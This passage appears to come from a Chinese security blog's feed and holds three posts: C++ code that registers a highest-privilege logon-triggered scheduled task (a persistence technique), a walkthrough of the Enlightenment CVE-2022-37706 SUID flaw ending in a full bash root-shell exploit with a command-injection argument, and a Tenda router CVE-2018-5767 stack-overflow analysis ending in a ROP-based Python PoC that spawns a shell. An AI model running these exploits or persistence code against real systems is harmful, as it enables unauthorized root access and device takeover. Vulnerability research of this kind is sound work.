//<br>    #include “pch.h”<br>    #include <iostream><br>    #include “TaskSchedule.h”</iostream></p><pre><code>int main()&#123;    CMyTaskSchedule task;    BOOL bRet = FALSE;    // 创建 任务计划    bRet = task.NewTask(&quot;520&quot;, &quot;C:\\Users\\DemonGan\\Desktop\\520.exe&quot;, &quot;&quot;, &quot;&quot;);    if (FALSE == bRet)    &#123;        printf(&quot;Create Task Schedule Error!\n&quot;);    &#125;    // 暂停    printf(&quot;Create Task Schedule OK!\n&quot;);    system(&quot;pause&quot;);    // 卸载 任务计划    bRet = task.Delete(&quot;520&quot;);    if (FALSE == bRet)    &#123;        printf(&quot;Delete Task Schedule Error!\n&quot;);    &#125;    printf(&quot;Delete Task Schedule OK!\n&quot;);    system(&quot;pause&quot;);    return 0;&#125;---#include &quot;TaskSchedule.h&quot;#include &quot;pch.h&quot;void ShowError(char* lpszText, DWORD dwErrCode)&#123;    char szErr[MAX_PATH] = &#123; 0 &#125;;    ::wsprintf(szErr, &quot;%s Error!\nError Code Is:0x%08x\n&quot;, lpszText, dwErrCode);    ::MessageBox(NULL, szErr, &quot;ERROR&quot;, MB_OK | MB_ICONERROR);&#125;CMyTaskSchedule::CMyTaskSchedule(void)&#123;    m_lpITS = NULL;    m_lpRootFolder = NULL;    // 初始化COM    HRESULT hr = ::CoInitialize(NULL);    if (FAILED(hr))    &#123;        ShowError(&quot;CoInitialize&quot;, hr);    &#125;    // 创建一个任务服务（Task Service）实例    hr = ::CoCreateInstance(CLSID_TaskScheduler,        NULL,        CLSCTX_INPROC_SERVER,        IID_ITaskService,        (LPVOID*)(&amp;m_lpITS));    if (FAILED(hr))    &#123;        ShowError(&quot;CoCreateInstance&quot;, hr);    &#125;    // 连接到任务服务（Task Service）    hr = m_lpITS-&gt;Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());    if (FAILED(hr))    &#123;        ShowError(&quot;ITaskService::Connect&quot;, hr);    &#125;    // 获取Root Task Folder的指针，这个指针指向的是新注册的任务    hr = m_lpITS-&gt;GetFolder(_bstr_t(&quot;\\&quot;), &amp;m_lpRootFolder);    if (FAILED(hr))    &#123;        ShowError(&quot;ITaskService::GetFolder&quot;, hr);    &#125;&#125;CMyTaskSchedule::~CMyTaskSchedule(void)&#123;    if (m_lpITS)    &#123;        m_lpITS-&gt;Release();    &#125;    if (m_lpRootFolder)    &#123;        m_lpRootFolder-&gt;Release();    &#125;    // 卸载COM    ::CoUninitialize();&#125;BOOL CMyTaskSchedule::Delete(char* lpszTaskName)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    CComVariant variantTaskName(NULL);    variantTaskName = lpszTaskName;    HRESULT hr = m_lpRootFolder-&gt;DeleteTask(variantTaskName.bstrVal, 0);    if (FAILED(hr))    &#123;        return FALSE;    &#125;    return TRUE;&#125;BOOL CMyTaskSchedule::DeleteFolder(char* lpszFolderName)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    CComVariant variantFolderName(NULL);    variantFolderName = lpszFolderName;    HRESULT hr = m_lpRootFolder-&gt;DeleteFolder(variantFolderName.bstrVal, 0);    if (FAILED(hr))    &#123;        return FALSE;    &#125;    return TRUE;&#125;BOOL CMyTaskSchedule::NewTask(char* lpszTaskName, char* lpszProgramPath, char* lpszParameters, char* lpszAuthor)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    // 如果存在相同的计划任务，则删除    Delete(lpszTaskName);    // 创建任务定义对象来创建任务    ITaskDefinition* pTaskDefinition = NULL;    HRESULT hr = m_lpITS-&gt;NewTask(0, &amp;pTaskDefinition);    if (FAILED(hr))    &#123;        ShowError(&quot;ITaskService::NewTask&quot;, hr);        return FALSE;    &#125;    /* 设置注册信息 */    IRegistrationInfo* pRegInfo = NULL;    CComVariant variantAuthor(NULL);    variantAuthor = lpszAuthor;    hr = pTaskDefinition-&gt;get_RegistrationInfo(&amp;pRegInfo);    if (FAILED(hr))    &#123;        ShowError(&quot;pTaskDefinition::get_RegistrationInfo&quot;, hr);        return FALSE;    &#125;    // 设置作者信息    hr = pRegInfo-&gt;put_Author(variantAuthor.bstrVal);    pRegInfo-&gt;Release();    /* 设置登录类型和运行权限 */    IPrincipal* pPrincipal = NULL;    hr = pTaskDefinition-&gt;get_Principal(&amp;pPrincipal);    if (FAILED(hr))    &#123;        ShowError(&quot;pTaskDefinition::get_Principal&quot;, hr);        return FALSE;    &#125;    // 设置登录类型    hr = pPrincipal-&gt;put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);    // 设置运行权限    // 最高权限      hr = pPrincipal-&gt;put_RunLevel(TASK_RUNLEVEL_HIGHEST);    pPrincipal-&gt;Release();    /* 设置其他信息 */    ITaskSettings* pSettting = NULL;    hr = pTaskDefinition-&gt;get_Settings(&amp;pSettting);    if (FAILED(hr))    &#123;        ShowError(&quot;pTaskDefinition::get_Settings&quot;, hr);        return FALSE;    &#125;    // 设置其他信息    hr = pSettting-&gt;put_StopIfGoingOnBatteries(VARIANT_FALSE);    hr = pSettting-&gt;put_DisallowStartIfOnBatteries(VARIANT_FALSE);    hr = pSettting-&gt;put_AllowDemandStart(VARIANT_TRUE);    hr = pSettting-&gt;put_StartWhenAvailable(VARIANT_FALSE);    hr = pSettting-&gt;put_MultipleInstances(TASK_INSTANCES_PARALLEL);    pSettting-&gt;Release();    /* 创建执行动作 */    IActionCollection* pActionCollect = NULL;    hr = pTaskDefinition-&gt;get_Actions(&amp;pActionCollect);    if (FAILED(hr))    &#123;        ShowError(&quot;pTaskDefinition::get_Actions&quot;, hr);        return FALSE;    &#125;    IAction* pAction = NULL;    // 创建执行操作    hr = pActionCollect-&gt;Create(TASK_ACTION_EXEC, &amp;pAction);    pActionCollect-&gt;Release();    /* 设置执行程序路径和参数 */    CComVariant variantProgramPath(NULL);    CComVariant variantParameters(NULL);    IExecAction* pExecAction = NULL;    hr = pAction-&gt;QueryInterface(IID_IExecAction, (PVOID*)(&amp;pExecAction));    if (FAILED(hr))    &#123;        pAction-&gt;Release();        ShowError(&quot;IAction::QueryInterface&quot;, hr);        return FALSE;    &#125;    pAction-&gt;Release();    // 设置程序路径和参数    variantProgramPath = lpszProgramPath;    variantParameters = lpszParameters;    pExecAction-&gt;put_Path(variantProgramPath.bstrVal);    pExecAction-&gt;put_Arguments(variantParameters.bstrVal);    pExecAction-&gt;Release();    /* 创建触发器，实现用户登陆自启动 */    ITriggerCollection* pTriggers = NULL;    hr = pTaskDefinition-&gt;get_Triggers(&amp;pTriggers);    if (FAILED(hr))    &#123;        ShowError(&quot;pTaskDefinition::get_Triggers&quot;, hr);        return FALSE;    &#125;    // 创建触发器    ITrigger* pTrigger = NULL;    hr = pTriggers-&gt;Create(TASK_TRIGGER_LOGON, &amp;pTrigger);    if (FAILED(hr))    &#123;        ShowError(&quot;ITriggerCollection::Create&quot;, hr);        return FALSE;    &#125;    /* 注册任务计划  */    IRegisteredTask* pRegisteredTask = NULL;    CComVariant variantTaskName(NULL);    variantTaskName = lpszTaskName;    hr = m_lpRootFolder-&gt;RegisterTaskDefinition(variantTaskName.bstrVal,        pTaskDefinition,        TASK_CREATE_OR_UPDATE,        _variant_t(),        _variant_t(),        TASK_LOGON_INTERACTIVE_TOKEN,        _variant_t(&quot;&quot;),        &amp;pRegisteredTask);    if (FAILED(hr))    &#123;        pTaskDefinition-&gt;Release();        ShowError(&quot;ITaskFolder::RegisterTaskDefinition&quot;, hr);        return FALSE;    &#125;    pTaskDefinition-&gt;Release();    pRegisteredTask-&gt;Release();    return TRUE;&#125;BOOL CMyTaskSchedule::IsExist(char* lpszTaskName)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder-&gt;GetTask(variantTaskName.bstrVal, &amp;pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    &#123;        return FALSE;    &#125;    pRegisteredTask-&gt;Release();    return TRUE;&#125;BOOL CMyTaskSchedule::IsTaskValid(char* lpszTaskName)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder-&gt;GetTask(variantTaskName.bstrVal, &amp;pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    &#123;        return FALSE;    &#125;    // 获取任务状态    TASK_STATE taskState;    hr = pRegisteredTask-&gt;get_State(&amp;taskState);    if (FAILED(hr))    &#123;        pRegisteredTask-&gt;Release();        return FALSE;    &#125;    pRegisteredTask-&gt;Release();    // 无效    if (TASK_STATE_DISABLED == taskState)    &#123;        return FALSE;    &#125;    return TRUE;&#125;BOOL CMyTaskSchedule::Run(char* lpszTaskName, char* lpszParam)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantParameters(NULL);    variantTaskName = lpszTaskName;    variantParameters = lpszParam;    // 获取任务计划    IRegisteredTask* pRegisteredTask = NULL;    hr = m_lpRootFolder-&gt;GetTask(variantTaskName.bstrVal, &amp;pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    &#123;        return FALSE;    &#125;    // 运行    hr = pRegisteredTask-&gt;Run(variantParameters, NULL);    if (FAILED(hr))    &#123;        pRegisteredTask-&gt;Release();        return FALSE;    &#125;    pRegisteredTask-&gt;Release();    return TRUE;&#125;BOOL CMyTaskSchedule::IsEnable(char* lpszTaskName)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder-&gt;GetTask(variantTaskName.bstrVal, &amp;pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    &#123;        return FALSE;    &#125;    // 获取是否已经启动    pRegisteredTask-&gt;get_Enabled(&amp;variantEnable.boolVal);    pRegisteredTask-&gt;Release();    if (ATL_VARIANT_FALSE == variantEnable.boolVal)    &#123;        return FALSE;    &#125;    return TRUE;&#125;BOOL CMyTaskSchedule::SetEnable(char* lpszTaskName, BOOL bEnable)&#123;    if (NULL == m_lpRootFolder)    &#123;        return FALSE;    &#125;    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    variantEnable = bEnable;                            // 是否启动    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder-&gt;GetTask(variantTaskName.bstrVal, &amp;pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    &#123;        return FALSE;    &#125;    // 设置是否启动    pRegisteredTask-&gt;put_Enabled(variantEnable.boolVal);    pRegisteredTask-&gt;Release();    return TRUE;&#125;</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;注入技术&quot;&gt;&lt;a href=&quot;#注入技术&quot; class=&quot;headerlink&quot; title=&quot;注入技术&quot;&gt;&lt;/a&gt;注入技术&lt;/h1&gt;&lt;h2 id=&quot;全局钩子注入&quot;&gt;&lt;a href=&quot;#全局钩子注入&quot; class=&quot;headerlink&quot; title=&quot;全局钩子注</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>提权 CVE-2022-37706</title>
    <link href="http://example.com/2022/10/06/Linux%E6%8F%90%E6%9D%83CVE-2022-37706/"/>
    <id>http://example.com/2022/10/06/Linux%E6%8F%90%E6%9D%83CVE-2022-37706/</id>
    <published>2022-10-05T18:39:12.195Z</published>
    <updated>2022-10-05T18:42:50.721Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CVE-2022-37706"><a href="#CVE-2022-37706" class="headerlink" title="CVE-2022-37706"></a>CVE-2022-37706</h1><p>这是一个Linux上的提权漏洞</p><p>先需要安装 apt install enlightenment </p><p>/usr/lib/x86_64-linux-gnu/enlightenment/utils/ 下的 enlightenment_sys 文件 其中就包含了一段可以利用的提权代码。</p><pre><code>  eina_init();  uid = getuid();  v56 = getgid();  LODWORD(v57) = getegid();  v11 = getgroups(0x10000, v64);  if ( v11 &lt; 0 )  &#123;    puts(&quot;ERROR: MEMBER OF MORE THAN 65536 GROUPS&quot;);    exit(3);  &#125;  v58 = v11;  if ( setuid(0) )  &#123;    puts(&quot;ERROR: UNABLE TO ASSUME ROOT PRIVILEGES&quot;);// 提升了它的特权。    exit(5);  &#125;  v12 = setgid(0);  if ( v12 )  &#123;    puts(&quot;ERROR: UNABLE TO ASSUME ROOT GROUP PRIVILEGES&quot;);    exit(7);  &#125;</code></pre><p>我们的想法就是想办法执行这段代码后，通过执行system(“/bin/sh”) 来提权并getshell</p><p><img src="https://s2.loli.net/2022/10/06/cUHE3CWfSz17iGD.png"></p><p>这一段就是在判断传入的参数是否为help 我们不用管他，不传入help即可。</p><p><img src="https://s2.loli.net/2022/10/06/k3zLef5ngjHFb8i.png"></p><p>v7是被/阶段后的字符串它将会被再次截断 来与 mount 进行比较从而进入 if 。</p><p>/bin/mount 实际上是 linux 的文件目录，在之后会通过文件查找来搜索该路径，所以我们的<strong>第一个参数</strong>就是 /bin/mount</p><p><img src="https://s2.loli.net/2022/10/06/Afy9WFkI6JGCplT.png"></p><p>然后就进入了提权的代码段</p><p><img src="https://s2.loli.net/2022/10/06/wu8EUsczRVlTDqh.png"></p><p><img src="https://s2.loli.net/2022/10/06/hNQWym1FXY6G3gt.png"></p><p>删除了很多环境变量，这是<br>安全预防措施以不<br>调用另一个非预期的二进制文件。</p><p><img src="https://s2.loli.net/2022/10/06/E8ZOwslAStFeTB3.png"></p><p>然后来到了299行附近。这里我们需要让main函数的第一个参数为 6 .</p><p>if ( *v26 == 45 &amp;&amp; !strcmp(v26, “-o”) &amp;&amp; (eina_strlcpy)(v68, parameter_2[3], 64LL) &lt;= 63 )</p><p>由上面这句可以发现 <strong>第二个参数</strong>需要为 -o</p><p><img src="https://s2.loli.net/2022/10/06/JQmc1u2RXTNOwve.png"></p><p>然后进入while循环，通过调整传入参数的顺序来让 v54 v28 v56 都被赋值，并且最后进入下面这个else if 后的结果是 -1&amp;-1&amp;-1&amp;-1从而进入接下来 的函数</p><p>观察代码可以发现，每经过一次循环就截断一次v29，并进行赋值或比较。而v29的来源正是 传入的<strong>第三个参数</strong></p><pre><code>else if ( strncmp(v29, &quot;utf8,&quot;, 5uLL)         &amp;&amp; strncmp(v29, &quot;utf8=0,&quot;, 7uLL)         &amp;&amp; strncmp(v29, &quot;utf8=1,&quot;, 7uLL)         &amp;&amp; strncmp(v29, &quot;iocharset=utf8,&quot;, 0xFuLL) )</code></pre><p>所以第三个参数是  </p><p>noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit”</p><p>后面这个部分是需要我们创建的文件路径，这是为getshell做准备的。</p><p><img src="https://s2.loli.net/2022/10/06/R4EQgNZtk3a2To1.png"></p><p>来到350行附近，第348行的if我们是不会进入的，但v49是 传入的第四个参数。 由441行可知 ，它的前5个字节必须要是 /dev/ </p><p><img src="https://s2.loli.net/2022/10/06/czaUZCEs1AGNmRO.png"></p><p>由375行可以发现v51和v50的地址要相差6，所以最终的 <strong>第四个参数</strong> 是 /tmp///net</p><p>最后程序将检测 /dev/net 目录是否存在</p><p>所以我们需要创建目录 mkdir -p /tmp/net</p><p>为了获取system的参数，先创建文件路径 mkdir -p “/dev/../tmp/;/tmp/exploit” </p><p>当system 获取的参数是 noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit” </p><p>由于 eina_strbuf_append_printf() 它变成了 /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), /dev/../tmp/;/tmp/exploit /tmp///net 这里去掉了 “” </p><p>由于; 会执行system 的参数是 /tmp/exploit </p><p>可以利用重定向，将 /tmp/exploit 重定向为  “/bin/sh”</p><p>最终完成提权，并且getshell</p><p>exp如下</p><pre><code>#!/bin/bashecho &quot;CVE-2022-37706&quot;echo &quot;[*] Trying to find the vulnerable SUID file...&quot;echo &quot;[*] This may take few seconds...&quot;file=$(find / -name enlightenment_sys -perm -4000 2&gt;/dev/null | head -1)if [[ -z $&#123;file&#125; ]]then    echo &quot;[-] Couldn&#39;t find the vulnerable SUID file...&quot;    echo &quot;[*] Enlightenment should be installed on your system.&quot;    exit 1fiecho &quot;[+] Vulnerable SUID binary found!&quot;echo &quot;[+] Trying to pop a root shell!&quot;mkdir -p /tmp/netmkdir -p &quot;/dev/../tmp/;/tmp/exploit&quot;echo &quot;/bin/sh&quot; &gt; /tmp/exploitchmod a+x /tmp/exploitecho &quot;[+] Enjoy the root shell :)&quot;$&#123;file&#125; /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), &quot;/dev/../tmp/;/tmp/exploit&quot; /tmp///net</code></pre><p><img src="https://s2.loli.net/2022/10/05/eMTog7Qb3iwHz8I.png"><br><img src="https://s2.loli.net/2022/10/05/DReSq91PyJoEdu4.png"><br><img src="https://s2.loli.net/2022/10/05/B3rOUnQ8g7tbTY1.png"><br><img src="https://s2.loli.net/2022/10/05/SAkWJzLrcmayBb9.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;CVE-2022-37706&quot;&gt;&lt;a href=&quot;#CVE-2022-37706&quot; class=&quot;headerlink&quot; title=&quot;CVE-2022-37706&quot;&gt;&lt;/a&gt;CVE-2022-37706&lt;/h1&gt;&lt;p&gt;这是一个Linux上的提权漏洞&lt;/p&gt;
&lt;p</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>CVE-2018-18708</title>
    <link href="http://example.com/2022/10/01/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%20TENDA%20CVE-2018-5767/"/>
    <id>http://example.com/2022/10/01/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%20TENDA%20CVE-2018-5767/</id>
    <published>2022-10-01T10:43:23.774Z</published>
    <updated>2022-10-01T18:47:17.993Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ARM栈溢出-TENDA-CVE-2018-5767"><a href="#ARM栈溢出-TENDA-CVE-2018-5767" class="headerlink" title="ARM栈溢出 TENDA CVE-2018-5767"></a>ARM栈溢出 TENDA CVE-2018-5767</h1><p>IoT固件仿真的基础方法及排错思路。<br>对ARM架构栈溢出漏洞的利用和调试方法。</p><p><a href="https://www.cnblogs.com/lightice/p/12657316.html">arm指令</a></p><h2 id="1-实验目标"><a href="#1-实验目标" class="headerlink" title="1.实验目标"></a>1.实验目标</h2><p>分析的漏洞为CVE-2018-5767，是一个输入验证漏洞，远程攻击者可借助COOKIE包头中特制的‘password’参数利用该漏洞执行代码。</p><p>固件下载地址：<a href="https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip">https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip</a></p><h2 id="2-固件仿真"><a href="#2-固件仿真" class="headerlink" title="2.固件仿真"></a>2.固件仿真</h2><p>首先使用binwalk导出固件文件系统，并通过ELF文件的头信息判断架构，得知为32位小端ARM。</p><pre><code>binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zipreadelf -h bin/busybox</code></pre><p><img src="https://s2.loli.net/2022/08/03/QN7As4uhRJoePv5.png"></p><p>可以看见该文件是 32位 arm架构</p><p>用chroot ./ ./qemu-arm-static ./bin/httpd 模拟运行一下发现会卡住</p><pre><code>#安装qemu和arm的动态链接库sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*cp $(which qemu-arm-static) .sudo chroot ./ ./qemu-arm-static ./bin/httpd</code></pre><p>mips</p><pre><code>sudo chroot ./ ./qemu-mipsel-static ./bin/httpd</code></pre><p>根据输出的字符 Welcome to … 寻找目标函数 ， 并且将这里打patch为 1 </p><p><img src="https://s2.loli.net/2022/08/03/tna96jUL1FxbKgq.png"></p><p><img src="https://s2.loli.net/2022/08/03/OFboRI8CfQEY5re.png"></p><p><img src="https://s2.loli.net/2022/08/03/a4kP9lqEoMn3dGI.png"></p><p>修改完后保存</p><p><img src="https://s2.loli.net/2022/08/03/MxTwu4jmrIlEdto.png"></p><p>再次运行程序。发现打印的端口不对，设计虚拟网卡。</p><pre><code>sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0</code></pre><p><img src="https://s2.loli.net/2022/08/03/jQe8EGHmOh5abcY.png"></p><h2 id="3-漏洞分析"><a href="#3-漏洞分析" class="headerlink" title="3.漏洞分析"></a>3.漏洞分析</h2><p>溢出点在R7WebsSecurityHandler函数中。ida可以直接按f5反编译arm架构的代码。</p><p>这里进行scanf时没有限制大小，所以存在溢出漏洞</p><p><img src="https://s2.loli.net/2022/08/03/GBtvcdA9jV3YawT.png"></p><p>我们需要保证请求的url路径不会导致if语句为false，比如“/goform/xxx”就行。</p><p>现在我们用 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd，用qemu挂载到1234端口上运行，并且用ida进行连接调试。</p><pre><code>gdb-multiarch ./bin/httpdtarget remote :1234continue</code></pre><p>使用python requests库来构造HTTP请求，代码如下：</p><pre><code>import requestsurl = &quot;http://192.168.2.108/goform/xxx&quot;cookie = &#123;&quot;Cookie&quot;:&quot;password=&quot;+&quot;A&quot;*1000&#125;requests.get(url=url, cookies=cookie)</code></pre><p>可以发现我们通过溢出修改了一些寄存器的值，但是现在只是造成了拒绝服务，而不能执行命令。</p><p><img src="https://s2.loli.net/2022/08/03/HNDbrR6xoUhsiPq.png"></p><p>用 bt 来看看栈中有哪些函数</p><p><img src="https://s2.loli.net/2022/08/03/xARoQskDuGfw6Xr.png"></p><p>跟踪0x0002c5cc,发现位于sub_2C568函数中，而该函数在我们缓冲区溢出后将被执行。</p><p><img src="https://s2.loli.net/2022/08/03/MDeNhGrU6pjFqxi.png"></p><p>观察可以发现，利用这个if如果是false，那么可以直接return ,从而利用栈溢出。</p><p>这段代码寻找“.”号的地址，并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时，memcmp(v44, “png”, 3u)的返回值为0，if语句将失败。</p><p>而这段字符串的读取地址正好位于我们溢出覆盖的栈空间中，所以在payload的尾部部分加入该内容即可。于此同时，我们使用cyclic来帮助判断到返回地址处的偏移量。</p><pre><code>import requestsurl = &quot;http://192.168.2.108/goform/xxx&quot;cookie = &#123;&quot;Cookie&quot;:&quot;password=&quot;+&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&quot;+ &quot;.png&quot;&#125;requests.get(url=url, cookies=cookie)</code></pre><p><img src="https://s2.loli.net/2022/08/03/h7FJ6qa9opulmDz.png"></p><p>需要特别注意，崩溃的返回地址显示是0x6561616c(‘laae’)，我们还需要观察CPSR寄存器的T位进行判断，CPSR寄存器的标志位如下图所示。</p><p><img src="https://s2.loli.net/2022/08/03/HvJDnx9ei85zEXV.png"></p><p>这里涉及到ARM模式（LSB=0）和Thumb模式（LSB=1）的切换，栈上内容弹出到PC寄存器时，其最低有效位（LSB）将被写入CPSR寄存器的T位，而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。如下图所示，发现T位值为1，因此需要在之前报错的地址上加一还原为0x6561616f(‘maae’)。</p><p>我们可以在函数最后返回的pop指令处（0x2ed18）下断点进行辅助判断。如下图所示，可以看到PC原本将被赋值为“maae”。因此偏移量为448。</p><h2 id="4-漏洞利用"><a href="#4-漏洞利用" class="headerlink" title="4.漏洞利用"></a>4.漏洞利用</h2><p>大多数程序都会加载使用libc.so动态库中的函数，因此可以利用libc.so中的system函数和一些指令片断（通常称为gadget）来共同实现代码执行。需要以下信息：</p><pre><code>将system函数地址写入某寄存器的gadget；往R0寄存器存入内容（即system函数的参数），并跳转到system函数地址的gadget；libc.so的基地址；system函数在libc中的偏移地址；</code></pre><p>这里我们假设关闭了ASLR，libc.so基地址不会发生变化。通过gdb中执行vmmap查看当前libc.so的加载地址</p><p><img src="https://s2.loli.net/2022/08/03/4TAEopsXtKQOnWB.png"></p><p>带有-x执行权限的就是libc基地址</p><p><img src="https://s2.loli.net/2022/08/03/AI5TubdyQFKNkOZ.png"></p><p>system函数的偏移地址读取libc.so文件的符号表，命令为：readelf -s ./lib/libc.so.0 | grep system，得到0x0005a270。</p><p>接着寻找控制R0的指令片断：<br>gadget2:</p><pre><code>sudo pip3 install ropgadgetROPgadget --binary ./lib/libc.so.0  | grep &quot;mov r0, sp&quot;0x00040cb8 : mov r0, sp ; blx r3</code></pre><p>这条指令会将栈顶写入R0，并跳转到R3寄存器中的地址。因此再找一条可以写R3的指令即可：<br>gadget1:</p><pre><code>ROPgadget --binary ./lib/libc.so.0 --only &quot;pop&quot;| grep r30x00018298 : pop &#123;r3, pc&#125;</code></pre><p>最终payload格式为：[offset, gadget1, system_addr, gadget2, cmd] ，流程如下</p><p>溢出处函数返回跳转到第一个gadget1（pop {r3, pc}）；<br>出栈 r3,pc </p><p><img src="https://s2.loli.net/2022/08/03/XnGO3rCYZeQdx7J.png"><br><img src="https://s2.loli.net/2022/08/03/6kymIBWqwS9p7ER.png"></p><p>system被保存r3中，而pc指向了gadget2。</p><p>栈顶第一个元素（system_addr）弹出到R3寄存器，第二个元素(gadget2：mov r0, sp ; blx r3})弹出到PC，使程序流执行到gadget2；</p><p>此时的栈顶内容（cmd）放入R0寄存器，并使程序跳转到R3寄存器指向的地址去执行。</p><p><img src="https://s2.loli.net/2022/08/03/NfB5gu1wdZM2pFl.png"></p><p>最后指向system，并且r0传递参数</p><p>poc如下:</p><pre><code>#!/usr/bin/python2import requestsfrom pwn import *cmd=&quot;/bin/sh\x00&quot;libc_base = 0xff5d5000#libc_base = 0xf65e5000system_offset = 0x0005a270system_addr = libc_base + system_offset   # 0xff62f270gadget1 = libc_base + 0x00018298          # 0xFF5ED298   pop &#123;r3, pc&#125;gadget2 = libc_base + 0x00040cb8          # 0xFF615CB8   mov r0, sp ; blx r3payload = &quot;A&quot;*444 +&quot;.png&quot; + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmdurl = &quot;http://192.168.183.138/goform/exeCommand&quot;cookie = &#123;&quot;Cookie&quot;: &quot;password=&quot;+payload&#125;requests.get(url=url, cookies=cookie)</code></pre><p>参考资料 : </p><p><a href="https://www.anquanke.com/post/id/204326#h2-3">https://www.anquanke.com/post/id/204326#h2-3</a></p><p><a href="https://the-itach1.github.io/2022/07/25/CVE-2018-5767%20TENDA%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/">https://the-itach1.github.io/2022/07/25/CVE-2018-5767%20TENDA%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/</a></p><p><a href="https://blog.csdn.net/weixin_45309916/article/details/107837561">https://blog.csdn.net/weixin_45309916/article/details/107837561</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ARM栈溢出-TENDA-CVE-2018-5767&quot;&gt;&lt;a href=&quot;#ARM栈溢出-TENDA-CVE-2018-5767&quot; class=&quot;headerlink&quot; title=&quot;ARM栈溢出 TENDA CVE-2018-5767&quot;&gt;&lt;/a&gt;ARM栈溢出 T</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>UE4蓝图开发</title>
    <link href="http://example.com/2022/10/01/UE4%E8%93%9D%E5%9B%BE%E5%BC%80%E5%8F%91/"/>
    <id>http://example.com/2022/10/01/UE4%E8%93%9D%E5%9B%BE%E5%BC%80%E5%8F%91/</id>
    <published>2022-10-01T10:43:23.771Z</published>
    <updated>2022-10-01T18:46:42.275Z</updated>
    
